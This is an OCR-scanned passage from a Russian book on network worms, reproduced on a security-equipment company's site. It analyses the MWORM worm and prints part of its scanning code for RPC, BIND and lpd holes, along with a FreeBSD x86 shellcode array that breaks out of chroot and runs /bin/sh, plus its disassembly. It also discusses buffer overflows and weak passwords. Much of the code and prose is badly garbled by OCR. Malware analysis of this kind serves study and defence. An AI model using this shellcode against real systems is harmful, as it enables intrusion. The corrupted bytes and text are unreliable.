8(495)909-90-01
8(964)644-46-00
pro@sio.su
Главная
Системы видеонаблюдения
Охранная сигнализация
Пожарная сигнализация
Система пожаротушения
Система контроля удаленного доступа
Оповещение и эвакуация
Контроль периметра
Система домофонии
Парковочные системы
Проектирование слаботочных сетей
Аварийный
контроль
Раздел: Документация

0 ... 28 29 30 31 32 33 34 ... 102

data

0804F7E0 x86 fbsd shell

chroot:

data

0804F7EO

xor

eax. eax

data

0804F7E2

push

eax

data

0804F7E3

push

eax

data

0804F7E4

push

eax

data

0804F7E5

nov

al. 7Eh

data

0804F7E7

int

80h

LINUX - sys sigprocmask

Продолжение &

sssssssss-s--—-

} break:

122- //,rPc hole cdSeif (Handle Port STATUS(sock.inet ntoa(sin.sin addr).Iptr))

{

pthreadjnutex lock(&ndone mutex): // rpcSTATUS vuln( inet ntoa(sin.sin addr). Iptr): pthread mutex unlock(&ndone mutex): } break:

case 53: //linux bind hole

// Check Linux86 BindCsock.inet ntoa(sin.sin addr).Iptr->h network):

break:

case 515: //linux lpd hole

// Get OS Type(Iptr->h network. inet ntoa(sin.sin addr)): // Chock lpd(sock.inet ntoa(sin.sin addr).Iptr->h network): break:

default: break:

}

Перед нами «шея» червя, которая, собственно, все эти головы и держит, совершая ими вращательные движения, при необходимости изрыгая огонь и пламя... А голова червя и ее дизассемблерный листинг показаны далее (листинги 3.2 и 3.3).

Листинг 3.2. Одна из голов червя MWORM и ее дизассемблерный листинг

/* break chroot and exec /bin/sh - dont use on an unbreakable host like 4.0 */ unsigned char x86 fbsd shell chroot[) =

"\x31\xc0\x50\x50\x50\xbO\x7e\xcd\x80"

"\x31\xc0\x99"

"\x6a\x68\x89\xe3\x50\x53\x53\xb0\x88\xcd"

"\xS0\x54\x6a\x3d\x58\xcdU80\x66\x68\x2e\x2e\x88\x54"

"\x24\x02\x89\xe3\x6a\x0c\x59\x89\xe3\x6a\x0c\x58U53"

"\x53\xcd\x80\xe2\xf Ax88\x54\x24\x01\x54\x6a\x3d\x58"

"\xcd\x80\x52\x68\x6e\x2f\x73\x68\x44\x68\x2f\x62\x69"

"\x6e\x89\xe3\x52Vx89\xe2\x53\x89\xel\x52\x51\x53\x53"

"\x6a\x3b\x58\xcd\x80\x31\xc0\xfe\xc0\xcd\x80":

Листинг 3.3. Дизассемблерный листинг одной из голов червя MWORM


102

Глава 3. Жизненна

Листинг 3.3 {продолжение)

data

:0804F7E9

xor

eax.

eax

data:

:0804F7EB

cdq

data

:0804F7EC

push

68r

data:

:0804F7EE

mov

ebx.

esp

data:

:0804F7F0

push

eax

data:

:0804F7F1

push

ebx

data

:0804F/F2

push

ebx

data

:0804F7F3

mov

al.

88h

data:

:0804F7F5

int

80h

data:

:0804F7F7

push

esp

data

:0804F7F8

push

3Dh

data:

:0804F7FA

pop

eax

data

:0804F7FB

int

80h

data:

:0804F7FD

pjsh

stoI

1 2F2~h

data

: 0B04F801

mov

[esp+2].

data:

:0804F805

mov

ebx.

esp

data:

:0804F807

push

OCh

data:

:0804F809

poo

ecx

data

:0804F8CA

rrov

ebx.

esp

.data:0804F80C .data:0804F80C 1oc 804F80C .data:0804F8CC .data:08C4F80E .data:0804F8GF .data:0804F810 data:0804r811 .data:0804F813 .data:0804F815 .data:D804F819 .data:0804F81A -data:0804F81C .data:0804F81D .cata:0804F81F .data:0804F820 .data:0804F825 .data:0804F826 .data:0804F82B .data:0804-82D .data.C804F82E .data:0804F830 .data:0804F831 data:0804833 -data:0804F834 .data:0804F835 data:0804F836 .data:0804F837 data:0804F839

push

OCh *

pop

eax

push

CDx

push

ebx

int

80h

Iood

ioc 804F80C

mov

[esp+1].

DuSh

esp

push

3Dn

pop

eax

int

80n

push

edx

push

68732F6Eh

inc

esp

push

6E69622Fh

mov

ebx. esp

pusn

eax

mov

edx. esp

push

ebx

mov

ecx. esp

push

edx

push

ecx

pusn

ebx

push

ebx

pjsn

38h

pOD

eax

: LINUX - sys personality

LINUX - sys chroot

dl

; CODE XREF: .data:0804F813j

LINUX - sys chdir

dl

LINUX - sys chroot


"int 80h: LINUX - sys olduname

ta;080b*.nt g0h. UNUX ex.t

data:0804F840

МЕХАНИЗМЫ РАСПРОСТРАНЕНИЯ ЧЕРВЕЙ

ми принято называть логические ошибки в профаммном обеспечении, в ре-Дырами торЫХ ЖСрТВа приобретает возможность интерпретировать исходные * шик1 как исполняемый код. Наиболее часто встречаются дыры двух следующих tiiiiob" ошибки переполнения буфера (buffer overflow) и ошибки фильтрации интерполяционных символов или символов-спецификаторов. И хотя теоретики от безопасности упорно отмахиваются от дыр, как от досадных случайностей, нарушающих стройность воздушных замков абстрактных защитных систем, даже поверхностный анализ ситуации показывает, что ошибки проектирования и реализации носят сугубо закономерный характер, удачно обыгранный хакерами в пословице: «Программ без ошибок не бывает. Бывает - плохо искали». Особенно коварны ошибки переполнения, вызываемые (или даже можно сказать — провоцируемые) идеологией господствующих языков и парадигм программирования. Подробнее об этом мы поговорим в следующей главе; пока же отметим, что ни одна коммерческая программа, насчитывающая более десяти-ста тысяч строк исходного текста, не избежала ошибок переполнения. Через ошибки переполнения распространялись черви Морриса, linux.Ramen, MWorm, Code Red, Slapper, Slammer, Love San и огромное множество остальных менее известных вирусов.

Список свежих дыр регулярно публикуется на ряде сайтов, посвященных информационной безопасности (крупнейший из которых — www.bugtraq.org) и на неде"СТ)аНИЧКаХ отделышх хакеров. Заплатки на дыры обычно выходят спустя кот ЛЮ ИЛИ даже месяН после появления открытых публикаций, однако в не-Рошего °Лчаях ВЬ1Х°Д заплатки опережает публикацию, так как правила хо-Дотогс)ТОНа Д,1КТУЮТ воздерживаться от распространения информации вплоть поиск П°Ка пРОТивояДие не будет найдено. Разумеется, вирусописатели ведут °ДНойДЫ) И самостоягелЬ11°, однако за все время существования Интернета ни С1абыДЫры ими найдено не было.

аНекдот-П р*ОЛИ ~ ЭТ0 насТ0ЯЩий бич всякой системы безопасности. Помните w°rd»He Кажи пароль! — Пароль!»? Шутки шутками, но пароль типа «pass-Mkl ПопудТаК и °РИгинален. Сколько пользователей доверяют защиту систе-ц,евалс м Словарным словам (в стиле Супер-Ниндзя, Шварценеггер-Раз-пРедставюИ ШваРценеггер-Пр одолжает-Бушевать) или выбирают пароль, Н°й ДВуМя Щи" бой слегка модифицированный логин (например, логин с од-дДНи*Циф ШФРами иа конце)? Про короткие пароли, пароли, состоящие из ,. bejlb Нема!И Пароли полностью совпадающие с логином, мы вообще молчим. П,у°Тдаасе10е КОличество систем вообще не имеют никакого пароля! Суще-СПеЦиальные программы для поиска открытых (или слабо защи-



0 ... 28 29 30 31 32 33 34 ... 102